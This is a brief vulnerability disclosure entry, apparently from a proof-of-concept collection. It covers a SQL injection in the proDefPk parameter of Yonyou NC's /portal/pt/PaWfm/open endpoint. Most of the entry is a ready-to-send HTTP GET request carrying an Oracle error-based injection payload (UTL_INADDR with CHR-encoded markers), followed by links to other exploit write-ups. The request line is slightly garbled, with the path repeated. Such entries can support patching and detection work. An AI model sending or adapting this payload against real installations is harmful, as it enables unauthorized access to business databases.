Description
/
用友NC /portal/pt/PaWfm/open 路径 proDefPk 参数存在SQL注入漏洞
PoC
GET /portal/pt/PaWfm/openGET /portal/pt/PaWfm/open?pageId=login&proDefPk=1%27+AND+1931%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28120%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%281931%3D1931%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29--+bHkd HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/adysec/POC/blob/main/wpoc/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BNC%E6%8E%A5%E5%8F%A3PaWfm%E5%AD%98%E5%9C%A8sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/weixin_43861440/article/details/129252749
https://cn-sec.com/archives/3112686.html
https://bdziyi.com/55778/